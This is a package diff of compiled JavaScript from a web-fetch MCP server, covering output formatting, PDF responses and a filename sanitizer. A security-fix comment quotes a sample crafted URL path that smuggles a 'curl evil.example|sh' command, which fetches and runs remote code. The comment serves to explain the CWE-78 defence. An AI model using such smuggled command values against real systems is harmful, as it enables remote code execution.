? `(リンクが見つかりませんでした。フィルタ前 ${result.preFilterCount} 件。filterに一致しませんでした)`
|
|
124
|
+
: "(リンクが見つかりませんでした)";
|
|
125
|
+
return `${header}\n\n${body || empty}`;
|
|
126
|
+
}
|
|
127
|
+
// ---- 機能B: 非HTMLコンテンツのハンドオフ応答 ----
|
|
128
|
+
/**
|
|
129
|
+
* URLのパス末尾からファイル名を推測する(curl -o のデフォルト値用)。取れなければ"download"。
|
|
130
|
+
*
|
|
131
|
+
* セキュリティ修正(CWE-78): WHATWG URLパーサは `'` `;` `|` `$` `` ` `` 等のパス中の文字を
|
|
132
|
+
* パーセントエンコードしないため、攻撃者が細工したURL(例: `/$(curl evil.example|sh).csv`)経由で
|
|
133
|
+
* このファイル名がそのままシェルコマンド文字列(hint行)に混入し、コマンドインジェクションが
|
|
134
|
+
* 成立しうる。curlに渡す提案コマンドの一部として安全に提示できるよう、英数字・`.`・`-`・`_`
|
|
135
|
+
* 以外は全て `_` に置換する。
|
|
136
|
+
*/
|
|
137
|
+
export function guessFilename(url) {
|
|
138
|
+
const rawBase = (() => {
|
|
139
|
+
try {
|
|
140
|
+
const pathname = new URL(url).pathname;
|
|
141
|
+
return pathname.split("/").filter((segment) => segment.length > 0).pop() ?? "";
|
|
142
|
+
}
|
|
143
|
+
catch {
|
|
144
|
+
return "";
|
|
145
|
+
}
|
|
146
|
+
})();
|
|
147
|
+
const sanitized = rawBase.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
148
|
+
return sanitized.length > 0 ? sanitized : "download";
|
|
149
|
+
}
|
|
150
|
+
/**
|
|
151
|
+
* シェルの単一引用符コンテキストへ値を安全に埋め込む(CWE-78対策)。
|
|
152
|
+
* 単一引用符内では `'` 以外は解釈されないため、`'` のみ「引用符を閉じ、
|
|
153
|
+
* エスケープ済み`'`を1つ挿入し、再び引用符を開く」(`'\''`)という定石で表現する。
|
|
154
|
+
*/
|
|
155
|
+
export function shellQuoteSingle(value) {
|
|
156
|
+
return `'${value.replace(/'/g, `'\\''`)}'`;
|
|
157
|
+
}
|
|
158
|
+
/**
|
|
159
|
+
* 機能B: HTML/PDF以外のコンテンツタイプを「行き止まり」のエラーではなく、
|
|
160
|
+
* メタデータ+プレビュー+curl誘導の正常応答として整形する。
|
|
161
|
+
* ファイル全体がAMENBO_MAX_BODY_BYTESを超える場合(Content-Length既知時)は
|
|
162
|
+
* プレビュー自体を省略し、メタデータ+誘導のみを返す。
|
|
163
|
+
*/
|
|
164
|
+
export function formatHandoffResponse(handoff, maxTokens) {
|
|
165
|
+
const filename = guessFilename(handoff.finalUrl);
|
|
166
|
+
const sizeKnown = handoff.declaredSize !== null;
|
|
167
|
+
const sizeLabel = sizeKnown ? `${handoff.declaredSize}` : `${handoff.bytes.length}(取得分。Content-Lengthヘッダ無し)`;
|
|
168
|
+
const oversized = sizeKnown && handoff.declaredSize > resolveDefaultMaxBodyBytes();
|
|
169
|
+
const header = [
|
|
170
|
+
`content_type: ${handoff.contentType ?? "(不明)"}`,
|
|
171
|
+
`size: ${sizeLabel}`,
|
|
172
|
+
`url: ${handoff.finalUrl}`,
|
|
173
|
+
`mode_used: handoff`,
|
|
174
|
+
].join("\n");
|
|
175
|
+
const preview = oversized ? null : buildHandoffPreview(handoff.bytes, handoff.contentType, maxTokens, handoff.truncated);
|
|
176
|
+
const previewBlock = preview ? `\n\n${preview.body}${preview.note ? `\n\n(${preview.note})` : ""}` : "";
|
|
177
|
+
const hint = `\n\nhint: このファイルはamenboの本文抽出対象外です。全体の取得は curl -L -o ${filename} ${shellQuoteSingle(handoff.finalUrl)} を推奨します`;
|
|
178
|
+
return `${header}${previewBlock}${hint}`;
|
|
179
|
+
}
|
|
180
|
+
// ---- PDF対応(URL判定で独立経路。mode/selector/section等は適用しない) ----
|
|
181
|
+
export function formatPdfTextResponse(title, finalUrl, cacheStatus, pdfPageCount, paginated) {
|
|
182
|
+
const header = [
|
|
183
|
+
`title: ${title ?? "(なし)"}`,
|
|
184
|
+
`url: ${finalUrl}`,
|
|
185
|
+
`mode_used: markdown`,
|
|
186
|
+
`cache: ${cacheStatus}`,
|
|
187
|
+
`tokens: ${paginated.tokens}`,
|
|
188
|
+
`page: ${paginated.page} of ${paginated.totalPages}`,
|
|
189
|
+
`fetch_tier: pdf`,
|
|
190
|
+
`pdf_pages: ${pdfPageCount}`,
|
|
191
|
+
...budgetExceededLine(paginated),
|
|
192
|
+
].join("\n");
|
|
193
|
+
return `${header}\n\n${paginated.content}`;
|
|
194
|
+
}
|
|
195
|
+
/** キャッシュ済みPDFエントリからテキスト応答を組み立てる(fresh応答/304再検証後の応答で共用)。 */
|
|
196
|
+
export function formatPdfResponseFromCache(url, cached, maxTokens, page) {
|
|
197
|
+
const paginated = paginateMarkdown(cached.markdown, maxTokens, page);
|
|
198
|
+
const title = cached.metadata.title ?? null;
|
|
199
|
+
const finalUrl = cached.metadata.finalUrl ?? url;
|
|
200
|
+
const pdfPageCount = Number(cached.metadata.pdfPageCount ?? 0);
|
|
201
|
+
return formatPdfTextResponse(title, finalUrl, "fresh", pdfPageCount, paginated);
|
|
202
|
+
}
|
|
203
|
+
//# sourceMappingURL=formatting.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"formatting.js","sourceRoot":"","sources":["../src/formatting.ts"],"names":[],"mappings":"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"}
|
package/dist/server.js
CHANGED
|
@@ -17,8 +17,9 @@ import { fileURLToPath } from "node:url";
|
|
|
17
17
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
18
18
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
19
19
|
import { z } from "zod";
|
|
20
|
-
import {
|
|
20
|
+
import { handleFetchTool, handleScreenshotTool, politeness, registerCoreShutdownHandlers, resolvePackageVersion, } from "./core.js";
|
|
21
21
|
import { AmenboError } from "./errors.js";
|
|
22
|
+
import { formatLinksResponse } from "./formatting.js";
|
|
22
23
|
import { discoverLinks } from "./links.js";
|
|
23
24
|
// テスト用export(既存スタイルに合わせた最小のテスト可能化。InMemoryTransport経由の
|
|
24
25
|
// MCP progress notifications統合テストでclient.connect()の相手として使う)。
|
package/dist/server.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"server.js","sourceRoot":"","sources":["../src/server.ts"],"names":[],"mappings":";AACA;;;;;;;;;;;;GAYG;AACH,OAAO,EAAE,YAAY,EAAE,MAAM,SAAS,CAAC;AACvC,OAAO,EAAE,aAAa,EAAE,MAAM,UAAU,CAAC;AACzC,OAAO,EAAE,SAAS,EAAE,MAAM,yCAAyC,CAAC;AACpE,OAAO,EAAE,oBAAoB,EAAE,MAAM,2CAA2C,CAAC;AAGjF,OAAO,EAAE,CAAC,EAAE,MAAM,KAAK,CAAC;AACxB,OAAO,EACL,
|
|
1
|
+
{"version":3,"file":"server.js","sourceRoot":"","sources":["../src/server.ts"],"names":[],"mappings":"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